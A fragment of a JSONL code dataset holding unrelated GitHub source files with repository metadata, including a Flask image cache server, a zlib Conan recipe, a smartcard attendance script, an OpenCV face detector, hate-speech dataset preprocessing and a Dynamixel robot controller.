max_instances=1)\n sched.start()\n \n@webapp.route('/')\ndef main():\n cache_statistics['requests_served'] += 1\n return render_template(\"main.html\")\n\n@webapp.route('/get',methods=['POST'])\ndef get():\n webapp.logger.info(\n \"{} request /get received with key {}\".format(request.method, request.args.get('key')))\n key = request.args.get('key')\n cache_statistics['requests_served'] += 1\n cache_statistics['get_request_count'] += 1\n \n # if the key is found in the memCache\n if key in memcache:\n value = memcache[key]['data']\n response = webapp.response_class(\n response=json.dumps({\"success\": \"true\", 'image': value.decode(\"utf-8\")}),\n status=200,\n mimetype='application/json'\n )\n cache_statistics['hit_count'] += 1\n memcache[key]['access_time'] = datetime.now(eastern)\n \n # if the key is not in memCache\n else:\n response = webapp.response_class(\n response=json.dumps({\"success\": \"false\",\n \"error\": {\n \"code\": 404,\n \"message\": \"Unknown key\"}}),\n status=404,\n mimetype='application/json'\n )\n cache_statistics['miss_count']+= 1\n \n return response\n\n@webapp.route('/put',methods=['POST'])\ndef put():\n webapp.logger.info(\n \"{} request /put received with key {}\".format(request.method, request.args.get('key')))\n key = request.args.get('key')\n cache_statistics['requests_served'] += 1\n \n # clean up the statistics for image override\n if key in memcache:\n previous_value = memcache.pop(key)\n cache_statistics['current_size'] -= previous_value['size']\n cache_statistics['number_items'] -= 1\n\n value = request.files.get('file').read()\n value_size = len(value) / 1000000\n\n # check if the memCache has the enough capacity \n if value_size <= configurations['capacity']:\n available_size = configurations['capacity'] - cache_statistics['current_size']\n \n # if not enough size, then apply replacement policy\n if value_size > available_size:\n policy = configurations['replacement_policy']\n required_size = value_size - available_size\n if policy == 'RND':\n keys = applyRandomReplacementPolicy(required_size)\n if policy == 'LRU':\n keys = applyLeastRecentUsedPolicy(required_size)\n for drop_key in keys:\n drop_value = memcache.pop(drop_key)\n cache_statistics['current_size'] -= drop_value['size']\n cache_statistics['number_items'] -= 1\n \n # store the key and image into the memCache, update the corresponding statistics \n memcache[key] = {'data':value, 'size': value_size, 'access_time': datetime.now(eastern)}\n cache_statistics['current_size'] += value_size\n cache_statistics['number_items'] += 1\n \n response = webapp.response_class(\n response=json.dumps({\"success\": \"true\"}),\n status=200,\n mimetype='application/json'\n )\n\n return response\n\n@webapp.route('/clear', methods=['POST'])\ndef clear():\n webapp.logger.info(\"{} request /clear received.\".format(request.method))\n \n # clear up the memCache dict, and update the statistics accordingly\n memcache.clear()\n cache_statistics['current_size'] = 0\n cache_statistics['number_items'] = 0\n cache_statistics['requests_served'] += 1\n\n response = webapp.response_class(\n response=json.dumps({\"success\": \"true\"}),\n status=200,\n mimetype='application/json'\n )\n return response\n\n@webapp.route('/invalidateKey', methods=['POST'])\ndef invalidateKey():\n webapp.logger.info(\n \"{} request /invalidateKey received with key {}\".format(request.method, request.args.get('key')))\n \n cache_statistics['requests_served'] += 1\n key = request.args.get('key')\n # only proceed when the key is inside the memCache\n if key in memcache:\n value = memcache.pop(key)\n cache_statistics['current_size'] -= value['size']\n cache_statistics['number_items'] -= 1\n \n response = webapp.response_class(\n response=json.dumps({\"success\": \"true\"}),\n status=200,\n mimetype='application/json'\n )\n return response\n\n@webapp.route('/refreshConfiguration', methods=['POST'])\ndef refreshConfiguration():\n webapp.logger.info(\n \"{} request /refreshConfiguration received.\".format(request.method))\n\n try:# get the updated configuration values from the database\n record = db.session.query(Mem_cache_configuration).first()\n\n # record should not be None as the request will be triggered after a database changes committed\n replacement_policy = getattr(record, 'replacement_policy')\n cache_capacity= getattr(record, 'capacity')\n webapp.logger.info(\n \"The memCache will be configured with capacity {} MB and Replacement Policy of {}.\".format(cache_capacity, replacement_policy))\n \n # taking care of the case that the new cache capacity is smaller than the exsiting cache usage\n if cache_capacity < cache_statistics['current_size']:\n required_size = cache_statistics['current_size'] - cache_capacity\n webapp.logger.info(\n \"Need to apply the replacement policy as the memCache is facing {} shortage.\".format(required_size))\n if replacement_policy == 'RND':\n keys = applyRandomReplacementPolicy(required_size)\n if replacement_policy == 'LRU':\n keys = applyLeastRecentUsedPolicy(required_size)\n for drop_key in keys:\n value = memcache.pop(drop_key)\n cache_statistics['current_size'] -= value['size']\n cache_statistics['number_items'] -= 1\n \n configurations['replacement_policy'] = replacement_policy\n configurations['capacity'] = cache_capacity\n cache_statistics['requests_served'] += 1\n except Exception as e:\n webapp.logger.error(e)\n response = webapp.response_class(\n response=json.dumps(\n {\"success\": \"false\", \n \"error\": {\n \"code\": 500,\n \"message\": \"Fail to refresh the configuration from the memCache side.\"\n }}),\n status=500,\n mimetype='application/json'\n )\n return response\n response = webapp.response_class(\n response=json.dumps({\"success\": \"true\"}),\n status=200,\n mimetype='application/json'\n )\n return response\n\n@webapp.route('/getAllCache', methods=['POST'])\ndef getAllCache():\n webapp.logger.info(\n \"{} request /getAllCache received.\".format(request.method))\n\n cache_statistics['requests_served'] += 1\n \n result = {}\n for name, content in memcache.items():\n image = content['data']\n image_decoded = image.decode(\"utf-8\")\n value = {'data':image_decoded, 'size': content['size'], 'access_time': content['access_time']}\n result.update({name:value})\n \n response = webapp.response_class(\n response=json.dumps({\"success\": \"true\", 'caches': result}),\n status=200,\n mimetype='application/json'\n )\n \n return response\n\n@webapp.route('/insertCaches', methods=['POST'])\ndef insertCache():\n webapp.logger.info(\n \"{} request /insertCache received.\".format(request.method))\n \n data = request.get_json()\n cache_statistics['requests_served'] += 1\n \n for key, content in data.items():\n content['access_time'] = parser.parse(content['access_time'])\n \n policy = configurations['replacement_policy']\n if policy == 'LRU':\n data = sorted(data.items(),key=lambda x: x[1]['access_time'],reverse=True)\n else:\n data = data.items()\n for key, file_content in data:\n # this is for re-distribution. If exsit, might be uploaded by the user prior to the distribution\n if key not in memcache:\n\n image = file_content.get('data').encode()\n value_size = file_content.get('size')\n\n # check if the memCache has the enough capacity \n if value_size <= configurations['capacity']:\n available_size = configurations['capacity'] - cache_statistics['current_size']\n \n # if not enough size, then apply replacement policy\n if value_size > available_size:\n required_size = value_size - available_size\n if policy == 'RND':\n keys = applyRandomReplacementPolicy(required_size)\n for drop_key in keys:\n drop_value = memcache.pop(drop_key)\n cache_statistics['current_size'] -= drop_value['size']\n cache_statistics['number_items'] -= 1\n if policy == 'LRU':\n break \n # store the key and image into the memCache, update the corresponding statistics \n memcache[key] = {'data':image, 'size': value_size, 'access_time': file_content.get('access_time')}\n cache_statistics['current_size'] += value_size\n cache_statistics['number_items'] += 1\n \n response = webapp.response_class(\n response=json.dumps({\"success\": \"true\"}),\n status=200,\n mimetype='application/json'\n )\n\n return response\n","repo_name":"margaretpell/Cloud_Computing_Project","sub_path":"memcache/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"70390415522","text":"from nxtools import NxConanFile\nfrom conans import CMake,tools\nfrom glob import glob\n\nclass ZlibConan(NxConanFile):\n name = \"zlib\"\n version = \"1.2.11\"\n license = \"\"\n url = \"https://github.com/hoxnox/conan-zlib\"\n license = \"http://zlib.net/zlib_license.html\"\n settings = \"os\", \"compiler\", \"build_type\", \"arch\"\n options = {\"shared\":[True, False]}\n default_options = \"shared=False\"\n build_policy = \"missing\"\n description = \"A Massively Spiffy Yet Delicately Unobtrusive Compression Library\"\n\n def do_source(self):\n self.retrieve(\"c3e5e9fdd5004dcb542feda5ee4f0ff0744628baf8ed2dd5d66f8ca1197cb1a1\",\n [\n \"vendor://zlib.net/zlib/zlib-{v}.tar.gz\".format(v=self.version),\n \"http://zlib.net/zlib-{v}.tar.gz\".format(v=self.version)\n ], \"zlib-{v}.tar.gz\".format(v=self.version))\n\n def do_build(self):\n cmake = CMake(self)\n tools.untargz(\"zlib-{v}.tar.gz\".format(v=self.version), \"{staging_dir}/src\".format(staging_dir=self.staging_dir))\n src_dir = \"{staging_dir}/src/zlib-{v}\".format(staging_dir=self.staging_dir, v=self.version)\n cmake.build_dir = \"{src_dir}/build\".format(src_dir=src_dir)\n for file in sorted(glob(\"patch/[0-9]*.patch\")):\n self.output.info(\"Applying patch '{file}'\".format(file=file))\n tools.patch(base_path=src_dir, patch_file=file, strip=0)\n\n cmake_defs = {\n \"CMAKE_INSTALL_PREFIX\": self.staging_dir,\n \"CMAKE_INSTALL_LIBDIR\": \"lib\",\n \"INSTALL_STATIC\" if self.options.shared else \"INSTALL_SHARED\" : \"OFF\",\n \"BUILD_SHARED_LIBS\": \"1\" if self.options.shared else \"0\"\n }\n cmake.verbose = True\n cmake_defs.update(self.cmake_crt_linking_flags())\n cmake.configure(defs=cmake_defs, source_dir=src_dir)\n cmake.build(target=\"install\")\n\n def do_package_info(self):\n if self.settings.compiler == \"Visual Studio\":\n self.cpp_info.libs = [\"zlib\"] if self.options.shared else [\"zlibstatic\"]\n else:\n self.cpp_info.libs = [\"z\"]\n\n","repo_name":"hoxnox/conan-zlib","sub_path":"conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":2135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"42594467387","text":"from locale import gettext as _\n\nfrom fapolicy_analyzer.ui.ui_widget import UIBuilderWidget\nfrom fapolicy_analyzer.util.format import f\n\n\nclass ConfirmChangeDialog(UIBuilderWidget):\n def __init__(self, parent=None, total=0, additions=0, deletions=0):\n def plural(count):\n return \"s\" if count > 1 else \"\"\n\n super().__init__()\n\n if parent:\n self.get_ref().set_transient_for(parent)\n\n textView = self.get_object(\"confirmInfo\")\n textBuffer = textView.get_buffer()\n total_changes = additions + deletions\n\n untrusted = (\n f(_(\"{deletions} file{plural(deletions)} will be untrusted.\"))\n if deletions\n else \"\"\n )\n trusted = (\n f(_(\"{additions} file{plural(additions)} will be trusted.\"))\n if additions\n else \"\"\n )\n no_action = (\n f(\n _(\n \"{total - (total_changes)} file{plural(total - (total_changes))} \"\n \"from the System Trust Database will be unaffected.\"\n )\n )\n if total > total_changes\n else \"\"\n )\n display_text = \" \".join(\n [\n *[m for m in [untrusted, trusted, no_action] if m],\n _(\"Do you wish to continue?\"),\n ]\n )\n\n textBuffer.set_text(display_text)\n","repo_name":"ctc-oss/fapolicy-analyzer","sub_path":"fapolicy_analyzer/ui/confirm_change_dialog.py","file_name":"confirm_change_dialog.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"54"} +{"seq_id":"5531375764","text":"import logging\nfrom dataclasses import dataclass\nfrom typing import Dict, Sequence\nfrom copy import deepcopy\n\nimport torch\nfrom torch.utils.data import Dataset\n\nimport transformers\n\nIGNORE_INDEX = -100\nDEFAULT_PAD_TOKEN = \"[PAD]\"\nDEFAULT_EOS_TOKEN = \"\"\nDEFAULT_BOS_TOKEN = \"\"\nDEFAULT_UNK_TOKEN = \"\"\nPROMPT_DICT = {\n \"prompt_truncated\": (\n \" {truncated_input}\"\n ),\n \"prompt_full\": (\n \"### Input:\\n {input}\\n\\n### Response:\"\n ),\n}\n\n\ndef tokenize_fn(strings: Sequence[str], tokenizer: transformers.PreTrainedTokenizer, block_size) -> Dict:\n \"\"\"Tokenize a list of strings.\"\"\"\n tokenized_list = [\n tokenizer(\n text,\n return_tensors=\"pt\",\n # padding=\"longest\",\n padding=\"max_length\",\n # max_length=tokenizer.model_max_length,\n max_length=block_size,\n truncation=True,\n )\n for text in strings\n ]\n input_ids = labels = [tokenized.input_ids[0] for tokenized in tokenized_list]\n input_ids_lens = labels_lens = [\n tokenized.input_ids.ne(tokenizer.pad_token_id).sum().item() for tokenized in tokenized_list\n ]\n return dict(\n input_ids=input_ids,\n labels=labels,\n input_ids_lens=input_ids_lens,\n labels_lens=labels_lens,\n )\n\ndef preprocess(\n sources: Sequence[str],\n targets: Sequence[str],\n tokenizer: transformers.PreTrainedTokenizer,\n block_size\n) -> Dict:\n \"\"\"Preprocess the data by tokenizing.\"\"\"\n examples = [s + ' ' + t for s, t in zip(sources, targets)]\n examples_tokenized, sources_tokenized = [tokenize_fn(strings, tokenizer, block_size) for strings in (examples, sources)]\n input_ids = examples_tokenized[\"input_ids\"]\n labels = deepcopy(input_ids)\n for label, source_len in zip(labels, sources_tokenized[\"input_ids_lens\"]):\n label[:source_len] = IGNORE_INDEX\n return dict(input_ids=input_ids, labels=labels)\n\nclass SupervisedDataset(Dataset):\n \"\"\"Dataset for supervised fine-tuning.\"\"\"\n\n def __init__(self, data, tokenizer: transformers.PreTrainedTokenizer, block_size, truncated):\n super(SupervisedDataset, self).__init__()\n logging.warning(\"Loading data...\")\n list_data_dict = data\n\n logging.warning(\"Formatting inputs...\")\n if truncated:\n prompt = PROMPT_DICT[\"prompt_truncated\"]\n else:\n prompt = PROMPT_DICT[\"prompt_full\"]\n sources = [\n prompt.format_map(example) for example in list_data_dict\n ]\n targets = [f\"{example['output']}{tokenizer.eos_token}\" for example in list_data_dict]\n\n logging.warning(\"Tokenizing inputs... This may take some time...\")\n data_dict = preprocess(sources, targets, tokenizer, block_size)\n\n self.input_ids = data_dict[\"input_ids\"]\n self.labels = data_dict[\"labels\"]\n\n def __len__(self):\n return len(self.input_ids)\n\n def __getitem__(self, i) -> Dict[str, torch.Tensor]:\n return dict(input_ids=self.input_ids[i], labels=self.labels[i])\n \n@dataclass\nclass DataCollatorForSupervisedDataset(object):\n \"\"\"Collate examples for supervised fine-tuning.\"\"\"\n\n tokenizer: transformers.PreTrainedTokenizer\n\n def __call__(self, instances: Sequence[Dict]) -> Dict[str, torch.Tensor]:\n input_ids, labels = tuple([instance[key] for instance in instances] for key in (\"input_ids\", \"labels\"))\n input_ids = torch.nn.utils.rnn.pad_sequence(\n input_ids, batch_first=True, padding_value=self.tokenizer.pad_token_id\n )\n labels = torch.nn.utils.rnn.pad_sequence(labels, batch_first=True, padding_value=IGNORE_INDEX)\n labels[labels == self.tokenizer.pad_token_id] = IGNORE_INDEX ## cw: this DOES matter for prompt tuning\n return dict(\n input_ids=input_ids,\n labels=labels,\n attention_mask=input_ids.ne(self.tokenizer.pad_token_id),\n )","repo_name":"CheongWoong/factual_knowledge_probing","sub_path":"src/utils/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":3930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"18319210809","text":"# %%\nfrom __future__ import print_function\nfrom time import sleep\nfrom models.DB import DB\nfrom smartcard.CardMonitoring import CardMonitor, CardObserver\nfrom smartcard.CardType import CardType\nfrom smartcard.CardRequest import CardRequest\nfrom smartcard.util import toHexString, COMMA, HEX, PACK, toASCIIString\nimport sys\nfrom models.Asprak import Asprak\nimport os\nsys.path.append(\".\")\n\n# %%\n# a simple card observer that prints inserted/removed cards\n\n\nclass PrintObserver(CardObserver):\n \"\"\"A simple card observer that is notified\n when cards are inserted/removed from the system and\n prints the list of cards\n \"\"\"\n\n \"\"\"Overrides from parent class\"\"\"\n\n def update(self, observable, actions):\n (addedcards, removedcards) = actions\n for card in addedcards:\n NIM = \"118140160\"\n check = DB.check_asprak(newdb, NIM)\n if check == False:\n print(\"Tidak ada data asprak dengan NIM \"+NIM)\n print(\"Ulangi tempel kartu!\")\n elif check == True:\n asprak = DB.get_asprak(newdb, NIM)\n # print(\"+Inserted: \", \"\"\"DB.check_asprak(newdb, NIM)\"\"\")\n print(\"-Inserted: \\n\")\n print(\"Nama : \"+asprak.nama)\n print(\"NIM : \"+asprak.nim)\n print(DB.asbence(self, asprak))\n # print(\"Silakan ulangi tap kartu!\")\n\n for card in removedcards:\n os.system('cls')\n print(\"-Removed: \", toHexString(card.atr))\n print(\"\\n\\nSilakan tap kartu anda!\")\n\n\nif __name__ == '__main__':\n host = \"localhost\"\n username = \"root\"\n password = \"\"\n database = \"kp-labmm\"\n\n newdb = DB(host, username, password, database)\n\n print(\"Silakan tap kartu anda!\")\n cardmonitor = CardMonitor()\n cardobserver = PrintObserver()\n while True:\n cardmonitor.addObserver(cardobserver)\n\n # don't forget to remove observer, or the\n # monitor will poll forever...\n sleep(10)\n cardmonitor.deleteObserver(cardobserver)\n","repo_name":"Ackyras/KP-LabMM","sub_path":"resources/views/Absensi/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1209436158","text":"import datetime\nimport requests\nfrom bs4 import BeautifulSoup\n\nfrom utils.logger import get_logger\n\nlogger = get_logger()\n\n\ndef get_rate(rate='HKD-TWD'):\n logger.info(f\"get exchange rate of {rate}\")\n url = 'https://www.google.com/finance/quote/' + rate\n response = requests.get(url)\n soup = BeautifulSoup(response.text, 'html.parser')\n rate = soup.find_all(\"div\", {\"class\": [\"YMlKec fxKbKc\"]})[0].text\n return rate\n\n\ndef get_exchange_rate_msg():\n logger.info(\"generating exchange rate message\")\n current_datetime = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n jpy_rate = get_rate('JPY-HKD')\n twd_rate = get_rate('HKD-TWD')\n cad_rate = get_rate('CAD-HKD')\n msg = f\" 今日匯率({current_datetime}): \" \\\n f\"\\n CAD:HKD: {cad_rate}\" \\\n f\"\\n JPY:HKD: {jpy_rate}\" \\\n f\"\\n HKD:TWD: {twd_rate}\"\n return msg\n\n\nif __name__ == '__main__':\n print(get_exchange_rate_msg())\n","repo_name":"tomitsui123/telegram-bot","sub_path":"modules/currency_module.py","file_name":"currency_module.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"24456980993","text":"import numpy as np\nimport tensorflow as tf\nimport random\nimport time\nimport logging\nimport sys\nlogging.basicConfig(level=logging.DEBUG, stream=sys.stdout, format='%(levelname)s(%(filename)s:%(lineno)d): %(message)s')\n\nfrom src.agents.walker import Walker as Agent\nfrom src.envs.MDP import MDP as ENV\nfrom src.tools.collector import Sample_Collector\nfrom src.tools.MCTS import MCTS\n\n\nnp.set_printoptions(precision=1)\nrandom.seed(0)\nnp.random.seed(0)\n\ndef main():\n round = 7\n num_simulation = 50\n lr = 0.001\n num_state = 8\n env = ENV(size=10, num_state=num_state)\n agent = Agent(size_action=10, size_window=num_state, num_cell_units=500, num_layers=5, UCB_param=1.0)\n op_loss, op_optimize = optimize(agent, lr)\n collector = Sample_Collector(100)\n\n sess = tf.InteractiveSession()\n sess.run(tf.global_variables_initializer())\n agent.sess = sess\n\n for t in range(2000):\n reward = 0\n env.reset()\n s = env.get_state()\n for i in range(round):\n env_state = env.save_state()\n a, pi, q = agent.move_with_MCTS(s, env, num=num_simulation, tau=0.5)\n env.load_state(env_state)\n # logging.info(\"pi: {}\".format(pi))\n r, _s, done = env.step(a)\n # print(s.data, a, r)\n collector((s, a, r, pi, q))\n s = _s\n reward += r\n\n if len(collector) > 10:\n # import pdb; pdb.set_trace()\n loss = training(sess, collector, agent, op_loss, op_optimize)\n print('reward: {:.3f}, loss: {:.3f}'.format(reward, loss))\n print(collector.pool[0]['state'].data)\n # time.sleep(1)\n # [print(i) for i in collector.pool]\n # print('loss: {:.3f}, reward: {:.3f}'.format(loss, reward))\n # print(collector.pool[0])\n # test(agent, env, round)\n # print('env potatial: {:.2f}, agent gets: {:.2f}'.format(sum(env.reveal()), sum(reward)))\n test(sess, agent, env, round)\n\ndef optimize(agent, lr):\n op_loss = tf.reduce_sum(agent.compute_loss())\n optimizer = tf.train.GradientDescentOptimizer(lr)\n gradients = optimizer.compute_gradients(op_loss)\n op_optimize = optimizer.apply_gradients(gradients)\n\n return op_loss, op_optimize\n\n\ndef training(sess, collector, agent, op_loss, op_optimize):\n batch_s, batch_pi = collector.get_batch(10)\n feed_dict = {agent.pl_state: batch_s,\n agent.pl_pi: batch_pi}\n loss, _ = sess.run([op_loss, op_optimize], feed_dict=feed_dict)\n\n return loss\n\ndef test(sess, agent, env, round):\n # s = [10, 10, 10, 10, 10, 10, 10, 10]\n # a, q, u = agent.move(s)\n # print(s, a, q)\n #\n # s = [10, 10, 10, 10, 10, 10, 10, 1]\n # a, q, u = agent.move(s)\n # print(s, a, q)\n\n batch_s = np.array([[10, 10, 10, 10, 10, 10, 10, 10],\n [10, 10, 10, 10, 10, 10, 10, 1],\n [10, 10, 10, 10, 10, 10, 1, 2],\n [10, 10, 10, 10, 10, 1, 2, 3]], dtype=np.float32)\n feed_dict = {agent.pl_state: batch_s}\n policy = sess.run(agent.policy, feed_dict=feed_dict)\n print(policy)\n\n # s = [10, 10, 10, 10, 10, 10, 1, 2]\n # a, q_estimation = agent.move(s)\n # print(s, a, q_estimation)\n\n\nif __name__ == '__main__':\n '''\n reward: 700.000, loss: 8.992\n (10, 10, 1, 2, 3, 4, 5, 6)\n [[0. 0.3 0.2 0.1 0.1 0.1 0.1 0.1 0. 0. ]\n [0. 0.2 0.3 0.1 0.1 0.1 0.1 0.1 0. 0. ]\n [0. 0.1 0.1 0.3 0.1 0.1 0.1 0.1 0. 0. ]\n [0. 0.1 0.1 0.1 0.4 0.1 0.1 0.1 0. 0. ]]\n '''\n main()\n","repo_name":"eastonYi/ReinforcementLearning","sub_path":"egs/MDP/simple_walk.py","file_name":"simple_walk.py","file_ext":"py","file_size_in_byte":3558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"36461396574","text":"#!/usr/bin/python\n\n'''\nThis is a script that processes flags from linux kernel compilation and\nproduces the flags for c++ compilation\n'''\n\n'''\nGeneral guide to compiler flags (this is true in MOST cases, not in ALL\ncases, check each flag...)\nflags starting with -f or -m: affect code generation\nflags starting with -W: produce more warnings, don't affect code generation\n'''\n\nimport subprocess # for check_output\nimport sys # for argv, exit\n\n##############\n# parameters #\n##############\ndoPassKdir=True\ndoClean=True\n\n#############\n# functions #\n#############\ndef replace_begin_with(l, s):\n found=False\n res=[]\n for x in l:\n if x.startswith(s):\n res.append(s + \"/usr/src/linux-headers-\" + unamer + \"/\" + x[len(s):])\n found=True\n else:\n res.append(x)\n if not found:\n raise ValueError('could not find stuff begining with', s)\n return res\n\ndef remove_begin_with(l, s):\n found=False\n res=[]\n for x in l:\n if x.startswith(s):\n found=True\n else:\n res.append(x)\n if not found:\n raise ValueError('could not find stuff begining with', s)\n return res\n\ndef replace_two_in_a_row(l, s):\n res=[]\n found=False\n for x in l:\n if x==s:\n found=True\n else:\n if found:\n found=False\n res.append(s)\n res.append(\"/usr/src/linux-headers-\" + unamer + \"/\" + x)\n else:\n res.append(x)\n return res\n\ndef remove_two_in_a_row(l, s):\n res=[]\n found=False\n for x in l:\n if x==s:\n found=True\n else:\n if found:\n found=False\n else:\n res.append(x)\n return res\n\ndef remove_if_exists(l, s):\n if s in l:\n l.remove(s)\n return l\n\ndef find_ends_with(l, ending):\n found_count=0\n for x in l:\n if x.endswith(ending):\n found_count+=1\n found=x\n if found_count==1:\n return found\n raise ValueError('found too many or too little', found_count)\n\n########\n# code #\n########\nif len(sys.argv)!=4:\n print('usage: [python] %s <$(uname -r)> ' % sys.argv[0])\n sys.exit(1)\nunamer=sys.argv[1]\nkdir=sys.argv[2]\noutfile=sys.argv[3]\n\nargs=[\n '/usr/bin/make',\n '-C','std_module',\n 'V=1',\n]\nif len(kdir) == 0:\n doPassKdir = False\n\nif doPassKdir:\n args.append('KDIR={kdir}'.format(kdir=kdir))\nif doClean:\n clean_args=list(args)\n clean_args.append('clean')\n output=subprocess.check_output(clean_args)\noutput=subprocess.check_output(args)\n# split into lines and find the line that ends with 'main.c'\nlines=output.split('\\n')\nline=find_ends_with(lines,'main.c')\nline=line.strip()\nl=line.split()\n# remove the last component (which is the source file name, see above)\nl=l[:-1]\n# header file stuff, does not influence code generation\nl=remove_begin_with(l,'-nostdinc')\n# C++ code does not reference any header files of the kernel,\n# operating system, or compiler...\nl=remove_begin_with(l,'-I')\n# remove macros of the kernel (which we don't use in the cpp layer)\nl=remove_begin_with(l,'-D')\n# remove the -Wp,MD\nl=remove_begin_with(l,'-Wp,-MD')\n# remove -include and -isystem (which we don't use in the cpp layer)\nl=remove_two_in_a_row(l, '-isystem')\nl=remove_two_in_a_row(l, '-include')\nl=remove_two_in_a_row(l, '-o')\n# if the kernel was compiled with debug and profiling then we don't\n# need it\nl.remove('-pg')\nl.remove('-c')\nl.remove('gcc')\n#l.remove('-g')\n'''\nremove flags which are not valid for C++...\ncc1plus: warning: command line option '-Wstrict-prototypes' is valid for C/ObjC but not for C++ [enabled by default]\ncc1plus: warning: command line option '-Wdeclaration-after-statement' is valid for C/ObjC but not for C++ [enabled by default]\ncc1plus: warning: command line option '-Wno-pointer-sign' is valid for C/ObjC but not for C++ [enabled by default]\n'''\nl=remove_if_exists(l, '-Wstrict-prototypes')\nl=remove_if_exists(l, '-Wdeclaration-after-statement')\nl=remove_if_exists(l, '-Wno-pointer-sign')\nl=remove_if_exists(l, '-Wmissing-prototypes')\nl=remove_if_exists(l, '-Wold-style-definition')\nl=remove_if_exists(l, '-std=gnu90')\nl=remove_if_exists(l, '-std=gnu89')\nwith open(outfile, 'w') as f:\n f.write(' '.join(l))\n","repo_name":"shunf4/secondfs-module","sub_path":"make-utils/generate_cpp_compile_options.py","file_name":"generate_cpp_compile_options.py","file_ext":"py","file_size_in_byte":4360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40453606682","text":"import cv2 as cv\nimport sys\n\n#print(cv2.__version__)\n\n# Reading the image\nsrc=sys.argv[1]\n#src=Image.open(recent.jpeg)\nclassiImgr=cv.CascadeClassifier('haarcascade_frontalface_default.xml') #classifier for detecting faces\n\n#Reading the images and converting to grayscale\nimg=cv.imread(src)\ngrayImg=cv.cvtColor(img,cv.COLOR_RGB2GRAY)\n\n#Detecting the faces in the imag.....Syntax: detectMultiScale(image, rejectLevels, levelWeights)\nfaceDetect=classiImgr.detectMultiScale(\n grayImg,\n scaleFactor=1.5, #As the images get more burred the cale Factor increases\n minNeighbors=5, #\n minSize=(30, 30),\n flags = cv.CV_HAAR_SCALE_IMAGE # New Syntax in cv3\n)\n\n#print \"Found {0} faces!\".format(len(faces))\n\n# Draw a rectangle around the faces .... the for loop iterates over to detect rectangles where it thinks images are there\nfor (x, y, w, h) in faceDetect: # Any image has 4 parameters \n cv.rectangle(img, (x, y), (x+w, y+h), (0, 255, 0), 2)\n \ncv.imshow(\"Detected faces\",img) # Display the image with the detected faces\ncv.waitKey(0) # the output window waits until we close else without this function it closes immediatly after showing the result\n\n\n","repo_name":"Mohanjayaprakash/AI","sub_path":"FaceDetect.py","file_name":"FaceDetect.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30266657511","text":"import os\nimport json\nimport pandas as pd\nfrom statistics import mode\n\n\ndef json2df(data, ids):\n texts = []\n labels = []\n for id_ in ids:\n entry = data[id_]\n annots = [x[\"label\"] for x in entry['annotators']]\n texts.append(\" \".join(entry['post_tokens']))\n labels.append(mode(annots))\n df = pd.DataFrame.from_dict({\"text\": texts, \"label\": labels})\n df['label'].replace(to_replace=[\"normal\", \"offensive\", \"hatespeech\"], value=[0, 1, 2], inplace=True)\n df['tweet_id'] = ids\n return df\n\ndef read_data(data_dir, save_dir):\n data_path = os.path.join(data_dir, \"Data\", \"dataset.json\")\n ids_path = os.path.join(data_dir, \"Data\", \"post_id_divisions.json\")\n\n data = json.load(open(data_path))\n ids = json.load(open(ids_path))\n\n test_ids = ids[\"test\"]\n train_ids = ids[\"train\"]\n val_ids = ids[\"val\"]\n\n df_test = json2df(data, test_ids)\n df_val = json2df(data, val_ids)\n df_train = json2df(data, train_ids)\n\n df_test.to_csv(os.path.join(save_dir, \"test.csv\"))\n df_val.to_csv(os.path.join(save_dir, \"val.csv\"))\n df_train.to_csv(os.path.join(save_dir, \"train.csv\"))\n\n\nif __name__ == '__main__':\n data_dir = os.path.join(\"datasets\", \"hate_speech_detection\", \"HateXplain\")\n save_dir = os.path.join(data_dir, \"preprocessed\")\n read_data(data_dir, save_dir)\n","repo_name":"migrationsKB/MRL","sub_path":"preprocessor/preprocessing_hateXplain.py","file_name":"preprocessing_hateXplain.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"582047455","text":"import os\r\nimport numpy as np\r\nimport time\r\nfrom CF_testing import *\r\nfrom ControlTable import *\r\nimport pandas as pd\r\n#from RelevantFunctions import *\r\nfrom dynamixel_sdk import *\r\nfrom threading import Thread\r\n\r\nif os.name == 'nt':\r\n import msvcrt\r\n def getch():\r\n return msvcrt.getch().decode()\r\nelse:\r\n import sys, tty, termios\r\n fd = sys.stdin.fileno()\r\n old_settings = termios.tcgetattr(fd)\r\n def getch():\r\n try:\r\n tty.setraw(sys.stdin.fileno())\r\n ch = sys.stdin.read(1)\r\n finally:\r\n termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)\r\n return ch\r\n\r\n[portHandler_1, portHandler_2, portHandler_3, portHandler_4, packetHandler] = InitialSetup() # Uses Dynamixel SDK library\r\nprint(\"\\nPort Handler's Have Been Initiated\\n\")\r\n\r\n(FL_TOT_R_1, FL_TOT_R_2, FL_TOT_R_3, FL_TOT_R_4, FL_TOT_L_1, FL_TOT_L_2, FL_TOT_L_3, FL_TOT_L_4,\r\n HL_TOT_R_1, HL_TOT_R_2, HL_TOT_R_3, HL_TOT_R_4, HL_TOT_L_1, HL_TOT_L_2, HL_TOT_L_3, HL_TOT_L_4) = ReadServoAngles(PositionsFile)\r\nprint(\"Servo EXCEL data has been read.\")\r\n\r\nPositionsMatrix = PostProcessPositions(FL_TOT_R_1, 